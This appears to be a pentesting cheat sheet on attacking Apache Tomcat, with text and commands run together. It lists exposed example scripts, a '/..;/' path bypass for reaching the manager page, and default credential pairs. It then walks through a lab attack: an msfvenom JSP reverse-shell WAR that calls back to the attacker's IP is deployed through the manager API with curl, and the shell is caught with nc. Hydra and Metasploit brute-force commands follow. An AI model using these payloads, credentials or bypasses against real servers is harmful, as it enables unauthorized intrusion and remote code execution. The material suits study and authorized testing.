Tomcat
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The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection (from here).
In some vulnerable configurations of Tomcat you can gain access to protected directories in Tomcat using the path: /..;/
So, for example, you might be able to access the Tomcat manager page by accessing: www.vulnerable.com/lalala/..;/manager/html
Another way to bypass protected paths using this trick is to access http://www.vulnerable.com/;param=value/manager/html
Finally, if you have access to the Tomcat Web Application Manager, you can upload and deploy a .war file (execute code).
admin:admin
tomcat:tomcat
admin:<NOTHING>
admin:s3cr3t
tomcat:s3cr3t
admin:tomcatcurl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author"/examples/jsp/num/numguess.jsp
/examples/jsp/dates/date.jsp
/examples/jsp/snp/snoop.jsp
/examples/jsp/error/error.html
/examples/jsp/sessions/carts.html
/examples/jsp/checkbox/check.html
/examples/jsp/colors/colors.html
/examples/jsp/cal/login.html
/examples/jsp/include/include.jsp
/examples/jsp/forward/forward.jsp
/examples/jsp/plugin/plugin.jsp
/examples/jsp/jsptoserv/jsptoservlet.jsp
/examples/jsp/simpletag/foo.jsp
/examples/jsp/mail/sendmail.jsp
/examples/servlet/HelloWorldExample
/examples/servlet/RequestInfoExample
/examples/servlet/RequestHeaderExample
/examples/servlet/RequestParamExample
/examples/servlet/CookieExample
/examples/servlet/JndiServlet
/examples/servlet/SessionExample
/tomcat-docs/appdev/sample/web/hello.jsp## Create payload
$ msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.14.44 lport=4488 -f war > rev-shell.war
## Upload payload
$ curl -u 'tomcat':'$3cureP4s5w0rd123!' -T rev.war 'http://10.10.10.194:8080/manager/text/deploy?path=/rev-shell'
OK - Deployed application at context path [/rev-shell]
## List deployed payload
$ curl -u 'tomcat':'$3cureP4s5w0rd123!' http://10.10.10.194:8080/manager/text/list
OK - Listed applications for virtual host [localhost]
/:running:0:ROOT
/examples:running:0:/usr/share/tomcat9-examples/examples
/host-manager:running:0:/usr/share/tomcat9-admin/host-manager
/rev-shell:running:0:rev-shell
/manager:running:0:/usr/share/tomcat9-admin/manager
/docs:running:0:/usr/share/tomcat9-docs/docs
## Execute deployed payload
root@nidus:/git/htb/tabby# curl -u 'tomcat':'$3cureP4s5w0rd123!' http://10.10.10.194:8080/rev-shell/
## Capture incoming shell
root@nidus:/usr/share/tomcat9# nc -lvnp 4488
listening on [any] 4488 ...
connect to [10.10.14.44] from (UNKNOWN) [10.10.10.194] 45912
whoami
tomcathydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>